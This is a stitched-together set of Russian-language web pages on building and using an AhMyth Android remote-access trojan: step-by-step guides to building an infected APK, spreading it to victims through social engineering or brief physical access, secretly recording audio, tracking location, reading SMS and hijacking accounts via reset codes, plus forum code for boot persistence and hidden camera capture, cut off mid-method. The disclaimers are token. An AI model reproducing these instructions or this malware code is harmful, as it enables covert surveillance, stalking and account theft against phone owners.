Как написать ратник для андроид

Взламываем смартфон с помощью RAT

BLACK CODE

Получаем полный доступ над телефоном с помощью РАТника

BLACK CODE. Авторский контент.

Всем привет! Это канал BLACK CODE. В данной статье я покажу пошаговый гад, как получить полный доступ над чужим смартфоном с помощью РАТника(вируса, который позволяет удаленно управлять устройством).

Приятного прочтения!

Что вы сможете сделать с телефоном жертвы:

  • Делать снимки с камеры (как с фронталки так и с передней камеры)
  • Файловый менеджер (с помощью него можно красть пароли)
  • Подслушивать диалоги, можно указать на сколько секунд включить микрофон и он будет записывать. После записи можно будет сразу прослушать.
  • Геоположение человека
  • Весь список контактов
  • Просмотр и отправка SMS
  • Детализация звонков

AhMyth — это новый, перспективный, с открытым исходным кодом Android RAT, в котором простой интерфейс.

Кроме того, AhMyth является доступной на Linux и Windows.

Шаг первый. Загрузите и установите AhMyth

Для начала летим сюда — https://java.com/ru/download/, нужно установить java.

После этого перейдите вот сюда — https://github.com/AhMyth/AhMyth-Android-RAT/releases и загрузите версию для своей системы.

В настоящее время доступны только Linux и Windows.

Как только вы загрузите нужный файл, откройте его на своем компьютере, и он должен начать установку. Он автоматически откроется, когда установится. После этого мы готовы начинать!

Шаг второй. Создание APK

Теперь, когда у нас есть рабочая программа, пришло время создания приложение для Android, которое будет устанавливать жертва, и через которое, мы и завладеем ее телефоном.

В верхней части экрана выберите APK Builder.

Первое, что нужно изменить, — это исходный IP. Это должен быть адрес компьютера, с которого вы будете отправлять и получать команды.

Для целей тестирования я просто буду использовать свою локальную сеть Wi-Fi.

Однако, если вы хотите, чтобы он работал за пределами локальной сети, вам нужно будет перенаправить ваш компьютер в интернет и использовать свой публичный IP-адрес.

AhMyth может создать APK двумя различными способами. Можно создать автономный APK, а можно APK для заражения, чтобы оставаться незаметным на целевом устройстве

Для создания второго, установите флажок рядом с Bind With Another Apk, а затем просмотрите и выберите APK, который вы хотите использовать.

Сегодня я создам обычный автономный APK, но если бы злоумышленники рассказывали это вам вместо меня, то, они, скорее всего, связывали бы его с другим APK.

После того, как вы выбрали все настройки и готовы создать APK, просто нажмите на кнопку Build.

Вы можете перейти к директории C: Users UserName AhMyth Output, чтобы найти встроенный APK.

Шаг три. Распространение RAT.

Начинается самое интересное. Рассылка приложения всем.

Применяются все методы, но социальная инженерия, как правило, работает лучше всего. Например, если вы знаете человека, то порекомендуйте ему приложение и расскажите, что он сможет получить, если загрузит его.

А потом заразите его.

На сегодняшний день наиболее эффективным методом является прямой доступ к устройству, ведь это отнимает всего несколько секунд, чтобы загрузить и скрыть APK.

Если вы выбрали этот метод, то простой способ сделать это — залить APK на Google Диск и отправить ссылку на телефон. На большинстве телефонов загрузка должна занять всего секунду или пару.

Если телефон Android не хочет его устанавливать, то, вероятно, параметр установки из неизвестных источников не был включен в настройках.

Откройте Настройки, затем перейдите в раздел » Безопасность «и проверьте Неизвестные источники. Это позволяет устанавливать приложения не только из Google Play.

Шаг четвертый. Начните слушать

В левом верхнем углу экрана AhMyth выберите вкладку Victims, затем измените номер порта на тот, который вы используете.

Вы также можете оставить его пустым по умолчанию. Далее нажмите на кнопку Listen. Как только это будет сделано, и наша крыса заработает должным образом, то она должна появиться здесь вместе с некоторой основной информацией.

Шаг пятый. Откройте лабораторию

Теперь, когда у вас есть рабочая «крыса» на вашем устройстве, вы можете начать удаленное администрирование. Нажмите на кнопку Open The Lab, должно появится новое всплывающее окно.

Если вы знакомы с другими Android-крысами, такими как Cerberus, то вы можете быть немного разочарованы тем, как мало функций здесь присутствует, но хотелось бы напомнить вам, что это все еще только в стадии бета-тестирования.

Фичи, которые он в настоящее время имеет, на самом деле довольно мощные.

Давайте взглянем на некоторые из них.

File Manager очень крут, потому что он позволяет вам видеть все на устройстве, вплоть до прошивки. С его помощью вы можете раскрыть все виды конфиденциальной информации, будь то пароли и сеансовые файлы cookie.

Еще одной особенностью является возможность записи звука через микрофон. Поскольку люди берут свои телефоны с собой везде куда они идут, то у вас, по сути, есть бесконечная прослушка.

Также есть функция отслеживания Location, поэтому вы можете не только знать, что сказали, но и где.

Если вам действительно нравится сеять хаос, то вам понравится следующая функция: возможность не только читать, но и отправлять сообщения.

Простой способ использовать это — взлом чьего-то вк, сбросив свой пароль с текстом SMS, а затем использовать код, который получили. Вы можете использовать свое воображение для всех вещей, которые вы можете сделать, отправив сообщения с телефона цели.

Вы, возможно, заметили, что я пропустил функцию Camera.

Я сделал это, потому что я не смог заставить его работать на моем устройстве, что может быть просто проблемой со старым Android, который я использовал для тестирования. В принципе, это должно позволить вам отправлять команды для съемки с передней или задней камеры и отправлять их обратно к вам.

Защита от Android RAT

существует не так много способов, чтобы защитить себя от RAT в целом, но одну вещь, которую вы все-таки можете сделать.

Не устанавливать приложения для Android, не принадлежащие Google Play Store.

Это не означает, что все приложения Google Play безопасны, но они намного безопаснее, чем некоторые случайные приложения, найденные в Интернете. Поскольку Google действительно сканирует их на наличие вредоносных программ в меру своих возможностей.

Если вам понравилось, то не забудьте подписаться на BLACK CODE!

Вся информация предоставлена исключительно с целью ознакомления. Мы не несём ответственности за ваши действия.

Наш основной канал: BLACK CODE

Наш второй канал с софтом: BLACK SOFT

Канал с курсом BITCOIN’а в реальном времени: BTC ONLINE

А так же закрепите канал и включите уведомления, чтобы не пропустить годный контент:

Создать RAT Android

Содержание

  • 1 Как создать RAT для Android
    • 1.1 Установка AhMyth RAT
    • 1.2 Создание зараженного APK
  • 2 Распространение RAT для Android
  • 3 Соединение с зараженным устройством
  • 4 Использование RAT AhMyth
    • 4.1 Камера
    • 4.2 Файловый менеджер
    • 4.3 Микрофон
    • 4.4 Геопозиция
    • 4.5 Контакты
    • 4.6 SMS
    • 4.7 Журнал вызовов
  • 5 Как защититься от RAT на Андроид?
  • 6 Заключение

Термином RAT (Remote Access Tool) принято называть утилиты удаленного администрирования. Они могут использоваться в благих целях по своему прямому назначению, как, например, популярный TeamViewer, а могут устанавливаться хакерами в тайне от пользователя.

Еще по теме:

  • Популярные трояны для слежки
  • Скрытый удаленный доступ к телефону с помощью L3MON

В подобных случаях RAT нередко расшифровывают как Remote Access Trojan, и прямой перевод английского слова rat — «крыса» — тут приходится как нельзя кстати.

Как создать RAT для Android

AhMyth RAT (Remote Access Trojan) — это приложение с открытым исходным кодом, в данный момент находится на стадии бета-версии. Инструмент ориентирован на пользователей  ОС Windows, но на GitHub можно скачать исходники AhMyth и для Unix-подобных платформ.


Имейте ввиду, что распространение вирусов и вредоносных программ — незаконное действие и влечет за собой уголовную ответственность. Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.spy-soft.net, ни автор программы не призывают к использованию полученных знаний в практических целях и не несут ответственности за любой возможный вред, причиненный материалом статьи.

Программа для создания RAT для Android AhMyth состоит из двух компонентов.

  1. Серверное приложение, с помощью которого можно управлять зараженным устройством и создавать файлы APK с вредоносным кодом. Создано оно на Electron framework — фреймворке, разработанном на площадке GitHub для создания простых графических приложений.
  2. Клиентский APK, содержащий вредоносный код, который позволяет получить удаленный доступ к зараженному Андроид-устройству. То есть созданный APK-файл будет выполнять функции бэкдора.

Установка AhMyth RAT

Серверная часть устанавливается очень просто, тем более автор RAT-конструктора выложил в свободный доступ бинарники. Но при желании можно скомпилировать ее из исходников. В моем случае тесты проходили на компьютере с Windows 10.

Для работы утилиты необходима уставленная на компьютер виртуальная машина Java. Скачать ее можно с официального сайта Java. После этого надо скачать бинарники самой AhMyth. Их вы можете найти в официальном репозитории проекта на GitHub, вкладка Assets. Во время  скачивании рекомендую вырубить антивирус, чтобы его не хватил приступ от происходящего.

Создание зараженного APK

Чтобы создать файл APK для Android, откройте вкладку APK Builder. Внешний вид конструктора для создания RAT для Android показан ниже:

Вкладка с конструктором APK ahmyth

Вкладка с конструктором APK

Пользоваться  конструктором AhMyth RAT очень легко. В окне Source IP надо ввести IP-адрес атакующей машины (этот адрес потом легко вычисляется при криминалистическом анализе вредоноса). В поле Source Port можно указать порт, который будет зарезервирован машиной для прослушивания подключений. По умолчанию используется порт 42 474.

Есть также опция Bind With Another Apk, которая позволяет склеить APK-файл с другим приложением.

Для этого надо отметить флажок Bind With Another Apk, выбрать необходимый APK и указать метод интеграции вредоноса в телефон. Есть два метода: при запуске зараженного APK или при перезагрузке телефона после установки RAT. Авторы программы рекомендуют второй вариант.

Осталось нажать кнопку Build — по умолчанию зараженный файл сохраняется в папку:

<strong>C:Users<Your_Username>AhMythOutput</strong>

Распространение RAT для Android

Как распространяются собранные таким методом вредоносы — это отдельная тема для дискуссий. Отмечу только, что в Google Play регулярно обнаруживают зараженные RAT программы и столь же регулярно их оттуда выпиливают, что не мешает малвари появляться в этом каталоге снова. Кроме того, методы социальной инженерии никто не отменял. Но имейте ввиду, что для активации RAT после установки приложения обязательно нужно запустить или перезагрузить зараженное устройство (в зависимости от настроек билдера).

Запуск RAT ahmyth на устройстве

Запуск RAT ahmyth на устройстве

Для успеха также требуется, чтобы в настройках целевого устройства был отключен параметр «Установка только из доверенных источников».

Соединение с зараженным устройством

Теперь нужно перейти во вкладку Victims и вбить в поле тот же порт, что мы указывали раньше, чтобы сервер ждал подключений от зараженных устройств. Опять же если вы ничего не меняли при сборке APK, то ничего не надо указывать и здесь.

Нажимаем на Listen, и, если наш APK успешно заразил мобильное устройство, мы увидим новое подключение.

Доступные устройства в ahmyth

Доступные устройства в AhMyth

Программа также логирует все действия в консоли, расположенной в нижней части окна. Значения колонок журнала в целом очевидны.

  • Country — страна, в которой работает зараженное устройство.
  • Manuf — компания — изготовитель девайса.
  • Model — код или название модели устройства.
  • Release — версия операционной системы зараженного девайса (в моем случае это Android 10).
  • IP — IP-адрес устройства, а Port — порт, через который инфицированный девайс подключился к атакующей машине.

Теперь пора переходить к активным действиям — для этого смело нажимаем на кнопку Open The Lab.

Еще по теме: Покупка троянов на подпольном рынке вредосного ПО

Использование RAT AhMyth

Нашему вниманию будет предложено меню из семи пунктов, которое открывает доступ к разным функциям программы.

Камера

Для начала заглянем в раздел Camera. Выберите камеру: фронталку (Front) или основную (Back) — и можете сделать снимок нажатием на кнопку Snap. Правда, у меня почему-то не получилось толком сфотографировать, хотя все мои камеры на устройстве были успешно инициализированы.

Камера работает, а фото не получается.

Камера работает в AhMyth

Файловый менеджер

Файловый менеджер здесь не такой продвинутый, как в других RAT для Андроид и Windows, однако все равно это очень полезная вещь. С его помощью можно как минимум скачивать нужные нам файлы с зараженного устройства. Как видите, начальная директория — это корневой каталог, к которому есть доступ только с правами администратора.

Файл менеджер ahmyth

Файловый менеджер ahmyth

Микрофон

Эта функция позволяет использовать микрофон устройства в фоновом режиме и записать все, что «слышит» телефон в течение указанного времени (в окне Seconds нужно числом задать продолжительность записи в секундах). Далее жмем Record и ждем. Полученный файл можно прослушать прямо в окне программы или сохранить себе на машину.

AhMyth. Работа с микрофоном

Работа с микрофоном

Геопозиция

На мой взгляд, это самая интересная возможность AhMyth. Если на инфицированном устройстве включена передача геоданных, вы сможете узнать геопозицию человека с точностью до десяти метров. Известно, что неопытные пользователи очень редко вспоминают об этом параметре и оставляют его включенным. Плюс некоторые приложения (те же карты), использующие передачу геоданных, когда-нибудь да заставят человека включить эту функцию.

Геопозиция пользователя

Геопозиция пользователя

Контакты

С помощью этой функции можно вытащить весь список контактов, которые записаны в телефоне. Есть возможность скачать весь список контактов себе на машину.

AhMyth. Получение списка контактовАндроид телефона

Получение списка контактов

SMS

Еще один очень любопытный раздел. С его помощью можно отправить кому-то SMS или просмотреть и скачать все сообщения, которые пришли на это устройство.

Чтобы отправить SMS, перейдите на вкладку Send SMS, укажите номер телефона получателя (поле TO://), а в поле Message введите желаемый текст сообщения. После этого останется только нажать на кнопку SEND.

Эта функция может быть использована для сброса паролей учетных записей владельца зараженного устройства, например, для взлома «Вконтакте» или Instagram.

AhMyth инструкция. отправить сообщение любому получателю

Можно отправить сообщение любому получателю
AhMyth. Просмотр списка сообщений
Просмотр списка сообщений

Журнал вызовов

Этот раздел дает возможность просмотреть список телефонных вызовов. Тут представлено четыре блока информации о каждом вызове: номер, с которым связывалось зараженное устройство; название контакта, к которому привязан этот номер на зараженном устройстве; время длительности вызова (в секундах); тип вызова (входящий или исходящий).

Как создать RAT для Android. Журнал вызовов

Журнал вызовов

Очень полезный инструмент.

Как защититься от RAT на Андроид?

Как бы банально это ни звучало, никогда не давайте свой телефон в чужие руки и не устанавливайте сомнительные приложения. На самом деле это практически единственный способ обеспечить собственную безопасность и защититься от RAT на Android. И конечно же, всегда обращайте внимание на предупреждения системы о возможном вреде, который может причинить устройству скачанное приложение.

Заключение

Надеюсь, что вы будете использовать утилиту AhMyth RAT только в исследовательских целях на своих личных устройствах. Не забывайте: «Чем больше сила, тем больше и ответственность»!

Еще по теме: Как создать троян для Андроид?

This repository has been archived by the owner on Sep 3, 2021. It is now read-only.

  • Notifications

  • Fork
    1.6k

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

7
branches

1
tag

Code

  • Use Git or checkout with SVN using the web URL.

  • Open with GitHub Desktop

  • Download ZIP

Latest commit

@AhMyth

Added base gitignore rules

97465b1

Files

Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

AhMyth Android Rat

Beta Version

It consists of two parts :

  • Server side : desktop application based on electron framework (control panel)
  • Client side : android application (backdoor)

Getting Started

You have two options to install it

1) From source code

Prerequisite :
  • Electron (to start the app)
  • Java (to generate apk backdoor)
  • Electron-builder and electron-packer (to build binaries for (OSX,WINDOWS,LINUX))
  1. git clone https://github.com/AhMyth/AhMyth-Android-RAT.git
  2. cd AhMyth-Android-RAT/AhMyth-Server
  3. npm start

2) From binaries

Prerequisite :
  • Download a binary from https://github.com/AhMyth/AhMyth-Android-RAT/releases
  • Java (to generate apk backdoor)

Screenshots



Video Tutorial


I will not be responsible for any direct or indirect damage caused due to the usage of this tool, it is for educational purposes only.
Twitter : @AhMythDev
Bitcoin address for donations: : 1EVwLuwmbsEuej7qJnNquFeQJLsgd2b8Lq

НЕ РАТНИК на Android. НЕДОРАЗУМЕНИЕ AhMyth RATНа прошлой неделе эксперты по кибербезопасности из компании Threat Factor обнаружили в Google Play троян Anatsa предназначенный для кражи информации о банковских картах. Распространялся этот товарищ через приложения для сканирования QR-кодов и по различным данным суммарно получил больше 50 тысяч скачиваний и массу положительных отзывов от пользователей площадки.

И это не удивительно, ведь несмотря на то, что зловред перенимал всю инфу словно старая бабка около вашего падика, польза от приложений, в которых он был зашит действительно была.

Т.е. со своей задачей они справлялись и заветные QR-коды сканировали на раз-два. Только вот владельцам заражённых устройств от этого, мягко скажем, не легче.

Zip File, мамкины хаЦкеры. С вами, Денчик и сегодня мы поговорим о том, что из себя представляют вирусы удаленного доступа для Андроид. Вы узнаете, как злоумышленники их пишут, внедряют и каким образом можно защититься от их воздействия.

Если интересна тема ратников для смартфонов, тогда устраивайтесь по удобней, наливайте себе напиток по горячее и обязательно смотрите этот выпуск до самого конца. Там в заключении вас ждёт дико выгодное предложение. Погнали.

Шаг 1. Само-собой никакой троян Anatsa рассматривать в данном ролике я не буду. Это небезопасно, антизаконно и в целом противоречит правилам нашего всеми любимого видеохостинга.

Однако, учитывая тот факт, что по функционалу все подобные проги плюс-минус работают одинаково, принципиальной разницы между Анкой и героем нашего сегодняшнего выпуска нет.

AhMyth является довольно-таки старым ратным бойцом изначально стоявшим в одном ряду с такими небезызвестными пацанами, как SpyMaxи SpyNote. Правда, в отличие от последних, Миф не получил такой же заслуженной популярности по причине малого количества функций для фана.

Что ж. Нам для тестирования в лабораторных условиях этот самый фан в общем то и не нужен от слова совсем. Ведь мы тут серьёзные вещи, как никак делаем. Скачиваем с ГитХаба файл установщика.

ratnik na android ahmyth rat 1

Шаг 2. Затем загружаем установочный пакет платформы Java, если таковая по каким-то причинам не установлена на вашем компьютере.

ratnik na android ahmyth rat 2

Шаг 3. Отлично. Теперь, когда все необходимые файлы загружены, приступаем к их установке. Сначала накатим Яву.

ratnik na android ahmyth rat 3

Шаг 4. А далее запустим установщик AhMyth.

ratnik na android ahmyth rat 4

Шаг 5. Самое время запустить ярлык нашего ратника. На вкладке «Builder» вводим белый IP. Либо адрес дедика, чтоб не спалиться. И рядом проброшенный порт. Ниже есть возможность сшить ратник с APKшкой от какого-нибудь нормального приложения. Собственно, так всякая зараза и появляется на просторах ПлейМаркета. Жмём «Build».

ratnik na android ahmyth rat 5

Шаг 6. И копируем сгенерированный файл на мобилу любыми возможными способами.

ratnik na android ahmyth rat 6

Шаг 7. Устанавливаем приложение AhMyth.

ratnik na android ahmyth rat 7

Шаг 8. И после запуска предоставляем добро на доступ ко всем дырам в нашем ведре. Да-да, я понимаю, что в штатной ситуации среднестатистический пользователь, завидев такое окно скорее всего очконёт и снимет все галочки. Но повторюсь, это один из старейших ратников и данный ролик снимается исключительно в обучающих целях для демонстрации возможностей подобных зловредов, а не с целью научить вас внедрять их в мобилы своих одноклассников.

ratnik na android ahmyth rat 8

Шаг 9. После того, как все разрешения предоставлены, возвращаемся на компьютер с установленным Мифом и на вкладке Victimsвводим открытый порт для прослушки указанный ранее. Жмём «Listen». И спустя пару секунд видим в списке подопытный телефон. Кликаем «Open The Lab» для перехода в панель управления.

ratnik na android ahmyth rat 9

Шаг 10. Собственно здесь и представлен спектр возможностей для работы с удалённым смартфоном. Файловый менеджер, посредством которого можно посмотреть дерево каталогов, хранящихся на устройстве.

ratnik na android ahmyth rat 10

Шаг 11. «MIC» отвечающий за включение микрофона смартфона в любое удобное время. Да-да, та самая, легендарная прослушка вызывающая паранойю.

ratnik na android ahmyth rat 11

Шаг 12. «Location» отслеживает местоположение и отображает сотовый телефон на карте гугла с точностью до нескольких метров.

ratnik na android ahmyth rat 12

Шаг 13. С контактами думаю всё понятно и без моих комментариев.

ratnik na android ahmyth rat 13

Шаг 14. В разделе SMSможно написать таковое, либо прочесть уже имеющиеся переписки, хранящиеся на смартфоне.

ratnik na android ahmyth rat 14

Шаг 15. Ну и одноимённый раздел камера, поможет увидеть фейс владельца устройства в режиме реального времени.

ratnik na android ahmyth rat 15

Недурно, правда? Зная о таких приложухах уровень паранойи увеличивается на раз-два. В особенности у тех, кто бесконечно далёк от вопросов, связанных с информационной безопасностью.

Именно поэтому, дабы не оставаться профаном в быстро меняющемся мире цифровых технологий, нужно регулярно прокачивать свои скиллы по данному направлению. Благо сейчас это можно сделать, не выходя из дома.

Интеграция SkillBox

Так, на образовательной платформе SkillBox до конца декабря вы можете получить скидку до 60% на популярный обучающий курс «Специалист по кибербезопасности».

В рамках обучения, авторы, в числе которых преподаватели, из таких крупных международных компаний, как Alibaba Cloud, Инфосистемс Джет и других не менее популярных конгламератов, научат вас искать уязвимости, предотвращать угрозы и обеспечивать комплексную безопасность IT-систем.

В конце курса, в вашем портфолио будет не менее 5ти полноценных проектов. При этом, практический опыт программирования на разных языках, как это водится на начальном этапе вообще не является обязательным. Как в принципе и навык системного администрирования.

Всё это уже включено в программу курса вместе с приёмами анализа сетевого трафика, базовыми принципами взлома, кх. простите, пентеста сетей и прочими прелестями, включая обширный арсенал хаЦкерского ПО, доступ к которому останется у вас навсегда.

Нескучные онлайн-лекции, воркшопы, домашки и, конечно же, карьерные консультации, призванные облегчить ваше трудоустройство после успешного освоения курса.

А сразу после защиты итогового проекта, карьерный консультант от Skillbox подберёт для вас наиболее подходящие варианты вакансий, поможет с составлением резюме и даже подготовит к собеседованиям с потенциальными работодателями.

В общем, если хотите присоединиться к этой движухе и реально повысить свою профессиональную квалификацию переняв опыт у именитых международных экспертов, а не комнатных безопасников вроде меня. Welcome.

Ссылка на практический курс по кибербезопасности от SkillBox будет в описании. Первый платеж только с 4-го месяца обучения и конечно, не забывайте про действующую скидку до конца декабря.

Такую выгодную возможность может упустить лишь ленивый. Так что, не протупите. Бегом учиться!

Интеграция SkillBox

Что ж, друзья, надеюсь вам понравился сегодняшний выпуск. Ведь вы давно просили меня затронуть тему ратников для Андроида. Уж не знаю, почему тема всратников так заходит – но факт остаётся фактом, такие ролики набирают в разы больше просмотров, нежели сюжеты, требующие IQбольше сотки.

Данный рат находится в открытом доступе на гитхабе и в принципе вы можете протестировать его точно также самостоятельно. Если, конечно, к вашему туловищу приделаны исконно прямые руки, могущие открывать столь нелюбимые школьниками порты.

К большому сожалению, на сегодняшний день, автор программы либо кинул её, либо пишет отдельные версии под продажу. Короче, обновлений нет и не намечается. В связи с этим у многих пользователей возникают ошибки, часть функций работает некорректно, да и в целом, AhMythпотихонечку умирает.

Так что не расстраивайтесь, если вдруг у вас что-то не заведётся. Это не Денчик, как обычно на**бал всех, наврав в три короба. Это прога потеряла свою актуальность и годится лишь для тестирования в сферическом вакууме.

Так что, не забудьте написать в комментариях работает она у вас или нет и сколько максимально устройств вам удалось привязать на пике своих шаловливых делишек.

В заключении, по традиции, хочу пожелать вам удачи, успеха, и самое главное, отсутствия подобной заразы на вашей личной мобиле. Также, отдельно хочу поблагодарить камрада с никнеймом RED SCROLL за предоставленный материал для сюжета.

Напоминаю, что, если у вас есть интересная задумка для сценария или отснятый нормально видос – вы всегда можете прислать это дело на мою почту. Так мы совместными усилиями популяризируем тематику инфобеза и делаем этот мир чутка лучше.

Во всяком случае, мне очень хочется в это верить. Окей. На этом сегодня всё. Не забываем про царские лайки. До новых встреч, мои кайфные друже. Всем пока.

делитесь с друзьЯми

Содержание статьи:

  1. Приветствие
  2. Создаем ServiceReceiver
  3. Создаем CameraView для снимков
  4. Бонус
    1. Получение медиа-файлов с устройства
    2. Получение контактов
  5. Заключение

1. Приветствие
1. Ссылка на первую статью
2. Ссылка на вторую статью
3. Ссылка на третью статью

Всем привет и добрый вечер. Рад что на статьях есть отклик аудитории и надеюсь его будет все больше и больше. В этой статье будет меньше выделений по просьбе администрации, но от Вас хочу увидеть отзыв в опросе.

Думаю пришло время и для четвертой статьи, в которой мы добавим функционал для работы с камерой (делаем срытое фото); сделаем наш Receiver, который будет перезапускать наш сервис в случае его отключения и так же в качестве бонуса добавлю получение списка контактов с телефона + получение сохраненных фотографий на устройстве.

На данный момент все еще вожусь с Telegram API, так что, если кто-то уже «прикручивал» его к своим проектам, дайте знать «как» в личку.

2. Создаем ServiceReceiver
Для начала поправим нашу функцию в MainActivity под названием isMyServiceRunning, который проверяет запущен ли наш сервис.

Java:

public static boolean isMyServiceRunning() {
    ActivityManager manager = (ActivityManager) Application.getAppContext().getSystemService(Context.ACTIVITY_SERVICE);
    for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
        if (TranosService.class.getName().equals(service.service.getClassName())) {
            return true;
        }
    }
    return false;
}

Теперь создаем класс Application со следующим кодом. Он нам очень понадобится, т.к. некоторые функции напрочь отказываются работать с getApplicationContext() из-за того что у нас статичные (static) методы. Я не особо вникал почему же так и просто сразу занялся поиском того как можно обойти это ограничение. Теперь для вызова getApplicationContext() нужно написать Application.getAppContext() и на этом все.

Java:

public class Application extends android.app.Application {

    private static Context context;

    public void onCreate() {
        super.onCreate();
        Application.context = getApplicationContext();
    }

    public static Context getAppContext() {
        return Application.context;
    }

}

Так, на пока никаких ошибок быть не должно. Теперь пришло время создать ServiceReceiver, который нам так нужен (скоро узнаете для чего).

Уж простите, но сейчас работаем ручками. Только внимательно следите за названиями. На картинке класс называется Receiver но в дальнейшем буду использовать название ServiceReceiver. А так же, поменяйте название TranosService на свое.

1572287945180.png

Теперь идем в манифест и там прописываем наш ServiceReceiver.

Да-да, народ, снова ручками (дальше буду давать код, не злитесь). Обращайте внимание на названия !

1572288236117.png

И так, ресивер сделан (устал я писать полное название), так что идем в наш сервис и регистрируем его в методе onCreate.

Java:

IntentFilter filterBoot = new IntentFilter(Intent.ACTION_BOOT_COMPLETED);
filterBoot.addAction(Intent.ACTION_SCREEN_OFF);
filterBoot.addAction(Intent.ACTION_SCREEN_ON);
mReceiver = new ServiceReceiver();
registerReceiver(mReceiver, filterBoot);

1572341478175.png

Нууууу… Ресивер есть, сервис есть. Не хватает теперь только нашего класса для создания снимков с устройства. Создаем !

3. Создаем CameraView для снимков
Как и сказано в заголовке — просто создаем класс CameraView (я его закинул в папку modules) и вставляем туда код. Что не понятно, спрашиваем в комментариях.
Сам код был взят за основу с Dendroid и немного доработан.

Java:

package com.tranos.app.modules;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.OutputStream;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.Bitmap.CompressFormat;
import android.graphics.BitmapFactory;
import android.graphics.PixelFormat;
import android.hardware.Camera;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.preference.PreferenceManager;
import androidx.appcompat.app.AppCompatActivity;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;

import com.tranos.app.R.*;

public class CameraView extends AppCompatActivity implements SurfaceHolder.Callback {
    private static final String TAG = "CameraTest";
    Camera mCamera;
    boolean mPreviewRunning = false;

    public void onCreate(Bundle icicle){
        super.onCreate(icicle);

        Log.e(TAG, "onCreate");

        setContentView(layout.cameraview);

        mSurfaceView = (SurfaceView) findViewById(id.surface_camera);
        mSurfaceView = (SurfaceView) findViewById(id.surface_camera);
        mSurfaceHolder = mSurfaceView.getHolder();
        mSurfaceHolder.addCallback(this);
        mSurfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
    }

    @Override
    protected void onRestoreInstanceState(Bundle savedInstanceState){
        super.onRestoreInstanceState(savedInstanceState);
    }


    Camera.PictureCallback mPictureCallback = new Camera.PictureCallback() {

        public void onPictureTaken(byte[] data, Camera camera) {

            if (data != null){
                mCamera.stopPreview();
                mPreviewRunning = false;
                mCamera.release();

                try{
                    Bitmap bmp = decodeFile(data);
                    System.gc();
                    //saveBitmap(bmp);
                    savePhotoInFile(data, generateFile());
                    System.gc();

                    Log.i("com.connect", "BITMAP SAVED");
                }catch(Exception e){
                    e.printStackTrace();
                }

                finish();
            }
        }
    };

    protected void onResume(){
        Log.e(TAG, "onResume");
        super.onResume();
    }

    protected void onSaveInstanceState(Bundle outState){
        super.onSaveInstanceState(outState);
    }

    protected void onStop(){
        Log.e(TAG, "onStop");
        super.onStop();
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("media",false).commit();
    }

    public void surfaceCreated(SurfaceHolder holder){
        Log.i("com.connect", "surfaceCreated");

        Intent sender=getIntent();
        String cameraNumber = sender.getExtras().getString("Camera");

        int cameraCount = 0;
        Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
        cameraCount = Camera.getNumberOfCameras();
        for ( int camIdx = 0; camIdx < cameraCount; camIdx++ ) {
            Camera.getCameraInfo( camIdx, cameraInfo );
            if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_BACK && cameraNumber.equalsIgnoreCase("0")) {
                try {
                    Log.i("com.connect", "Back");
                    mCamera = Camera.open( camIdx );
                } catch (RuntimeException e) {
                }
            }
            if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT && cameraNumber.equalsIgnoreCase("1")) {
                try {
                    Log.i("com.connect", "Front");
                    mCamera = Camera.open( camIdx );
                } catch (RuntimeException e) {
                }
            }
        }

    }

    public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
        Log.e(TAG, "surfaceChanged");

        // XXX stopPreview() will crash if preview is not running
        if (mPreviewRunning){
            mCamera.stopPreview();
        }

        Camera.Parameters p = mCamera.getParameters();

        List<Camera.Size> previewSizes = p.getSupportedPreviewSizes();

        Camera.Size previewSize = previewSizes.get(0);

        for(int i=0;i<previewSizes.size();i++)
        {
            if(previewSizes.get(i).width > previewSize.width)
                previewSize = previewSizes.get(i);
//             Log.i("com.connect", "Size: " + previewSizes.get(i).width + ":" + previewSizes.get(i).height);
        }

        Log.i("com.connect", "Size: " + previewSize.width + ":" + previewSize.height);

        try{

            Intent sender=getIntent();
            String cameraNumber = sender.getExtras().getString("Camera");

            System.gc();

            p.setPictureFormat(PixelFormat.JPEG);
            p.setJpegQuality(100);
            p.setPreviewSize(previewSize.width, previewSize.height);

            if (cameraNumber.equalsIgnoreCase("0"))
            {
                p.setRotation(90);
            }
            if (cameraNumber.equalsIgnoreCase("1"))
            {
                p.setRotation(270);

            }

            p.setFocusMode(Camera.Parameters.FOCUS_MODE_AUTO);
            mCamera.setParameters(p);

        }
        catch (Exception e){
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        try{
            mCamera.setPreviewDisplay(holder);
        }catch (Exception e){
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        mCamera.startPreview();
        mPreviewRunning = true;

        final Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                mCamera.takePicture(null, mPictureCallback, mPictureCallback);
            }
        }, 1000);
//            mCamera.takePicture(null, mPictureCallback, mPictureCallback);
    }

    public void surfaceDestroyed(SurfaceHolder holder) {
        Log.e("com.connect", "surfaceDestroyed");
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("media",false).commit();

        //mCamera.stopPreview();
        //mPreviewRunning = false;
        //mCamera.release();
    }

    private SurfaceView mSurfaceView;
    private SurfaceHolder mSurfaceHolder;

    public void saveBitmap(Bitmap bm){
        try
        {
            if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
                return;

            File path = new File (Environment.getExternalStorageDirectory(), "CameraTest");
            if (!path.exists()){
                if (!path.mkdirs()){
                    return;
                }
            }

            SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm_ss");
            String currentDateandTime = sdf.format(new Date());
            File newFile = new File(path.getPath() + File.separator + currentDateandTime + ".jpg");

            if (Uri.fromFile(newFile) == null)
